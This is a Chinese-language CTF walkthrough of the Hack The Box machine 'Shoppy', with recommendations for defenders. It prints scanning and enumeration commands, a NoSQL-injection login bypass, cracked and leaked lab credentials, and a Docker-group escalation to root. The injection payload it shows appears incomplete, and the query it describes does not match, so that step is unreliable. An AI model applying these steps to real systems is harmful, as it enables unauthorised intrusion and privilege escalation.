hackthebox靶机Shoppy
字数 1274 2025-08-11 17:40:29

HTB靶机Shoppy渗透测试完整指南

1. 靶机概述

Shoppy是Hack The Box平台上的一个中等难度靶机,涉及Web应用安全、NoSQL注入、子域名枚举、密码破解和Docker提权等技术点。本指南将详细记录从信息收集到最终提权的完整渗透测试过程。

2. 信息收集阶段

2.1 初始扫描

使用Nmap进行端口扫描:

nmap -sS -Pn -sC -sV 10.10.11.180

扫描结果:

  • 22/tcp - OpenSSH 8.4p1 Debian 5+deb11u1
  • 80/tcp - nginx 1.23.1 (重定向到shoppy.htb)

2.2 主机文件配置

将目标IP与域名绑定:

echo "10.10.11.180 shoppy.htb" | sudo tee -a /etc/hosts

3. Web应用渗透

3.1 目录扫描

使用feroxbuster进行目录枚举:

feroxbuster -u http://shoppy.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 -C 302,301,404

发现关键端点:

  • /Login
  • /login

3.2 子域名枚举

使用gobuster进行子域名扫描:

gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb

发现子域名:

  • mattermost.shoppy.htb

添加到hosts文件:

echo "10.10.11.180 mattermost.shoppy.htb" | sudo tee -a /etc/hosts

3.3 NoSQL注入攻击

在登录页面发现NoSQL注入漏洞,构造以下payload绕过认证:

  1. 用户名输入:admin'
  2. 密码留空或任意值

这会导致后端查询变为:

this.username === 'admin' && this.password === 'value'

成功绕过认证后,在搜索框输入admin可获取用户凭证哈希:

{
  "_id": "62db0e93d6d6a999a66ee67a",
  "username": "admin",
  "password": "23c6877d9e2b564ef8b32c3a23de27b2"
}

继续使用NoSQL注入获取更多用户:

{
  "_id": "62db0e93d6d6a999a66ee67b",
  "username": "josh",
  "password": "6ebcea65320589ca4f2f1ce039975995"
}

3.4 密码破解

使用在线工具或hashcat破解MD5哈希:

  • 23c6877d9e2b564ef8b32c3a23de27b2 → 未破解
  • 6ebcea65320589ca4f2f1ce039975995 → "remembermethisway"

4. 横向移动

4.1 访问Mattermost聊天系统

使用凭证josh/remembermethisway登录mattermost.shoppy.htb,在聊天记录中发现另一组凭证:

username: jaeger
password: Sh0ppyBest@pp!

4.2 SSH访问

使用获取的凭证通过SSH登录:

ssh jaeger@10.10.11.180

成功获取user.txt标志。

5. 权限提升

5.1 检查sudo权限

sudo -l

发现deploy用户可以运行:

/home/deploy/password-manager

5.2 分析密码管理器

运行密码管理器并输入"Sample"作为密码提示:

/home/deploy/password-manager

获取deploy用户凭证:

username: deploy
password: Deploying@pp!

5.3 Docker提权

  1. 切换到deploy用户:
su deploy
  1. 检查用户组:
groups

确认deploy用户在docker组中

  1. 查看已有Docker镜像:
docker images
  1. 使用Alpine Linux镜像挂载主机root目录:
docker run -it -v /root:/mnt alpine
  1. 在容器内访问挂载的root目录获取flag:
cat /mnt/root.txt

6. 技术要点总结

  1. NoSQL注入:通过构造特殊查询绕过认证
  2. 子域名枚举:发现隐藏的服务入口点
  3. 凭证复用:在不同服务间尝试相同或相似的凭证
  4. Docker组提权:利用docker组权限挂载敏感目录

7. 防御建议

  1. 对用户输入进行严格过滤,防止NoSQL注入
  2. 避免在聊天系统中泄露敏感信息
  3. 限制docker组用户,避免不必要的权限分配
  4. 对密码管理器等敏感工具实施更严格的访问控制
  5. 定期审计系统权限和用户组成员资格

通过以上步骤,我们完成了从外部侦察到最终获取root权限的完整渗透测试流程,展示了多个常见漏洞的利用链。

HTB靶机Shoppy渗透测试完整指南 1. 靶机概述 Shoppy是Hack The Box平台上的一个中等难度靶机,涉及Web应用安全、NoSQL注入、子域名枚举、密码破解和Docker提权等技术点。本指南将详细记录从信息收集到最终提权的完整渗透测试过程。 2. 信息收集阶段 2.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 22/tcp - OpenSSH 8.4p1 Debian 5+deb11u1 80/tcp - nginx 1.23.1 (重定向到shoppy.htb) 2.2 主机文件配置 将目标IP与域名绑定: 3. Web应用渗透 3.1 目录扫描 使用feroxbuster进行目录枚举: 发现关键端点: /Login /login 3.2 子域名枚举 使用gobuster进行子域名扫描: 发现子域名: mattermost.shoppy.htb 添加到hosts文件: 3.3 NoSQL注入攻击 在登录页面发现NoSQL注入漏洞,构造以下payload绕过认证: 用户名输入: admin' 密码留空或任意值 这会导致后端查询变为: 成功绕过认证后,在搜索框输入 admin 可获取用户凭证哈希: 继续使用NoSQL注入获取更多用户: 3.4 密码破解 使用在线工具或hashcat破解MD5哈希: 23c6877d9e2b564ef8b32c3a23de27b2 → 未破解 6ebcea65320589ca4f2f1ce039975995 → "remembermethisway" 4. 横向移动 4.1 访问Mattermost聊天系统 使用凭证 josh/remembermethisway 登录mattermost.shoppy.htb,在聊天记录中发现另一组凭证: 4.2 SSH访问 使用获取的凭证通过SSH登录: 成功获取user.txt标志。 5. 权限提升 5.1 检查sudo权限 发现deploy用户可以运行: 5.2 分析密码管理器 运行密码管理器并输入"Sample"作为密码提示: 获取deploy用户凭证: 5.3 Docker提权 切换到deploy用户: 检查用户组: 确认deploy用户在docker组中 查看已有Docker镜像: 使用Alpine Linux镜像挂载主机root目录: 在容器内访问挂载的root目录获取flag: 6. 技术要点总结 NoSQL注入 :通过构造特殊查询绕过认证 子域名枚举 :发现隐藏的服务入口点 凭证复用 :在不同服务间尝试相同或相似的凭证 Docker组提权 :利用docker组权限挂载敏感目录 7. 防御建议 对用户输入进行严格过滤,防止NoSQL注入 避免在聊天系统中泄露敏感信息 限制docker组用户,避免不必要的权限分配 对密码管理器等敏感工具实施更严格的访问控制 定期审计系统权限和用户组成员资格 通过以上步骤,我们完成了从外部侦察到最终获取root权限的完整渗透测试流程,展示了多个常见漏洞的利用链。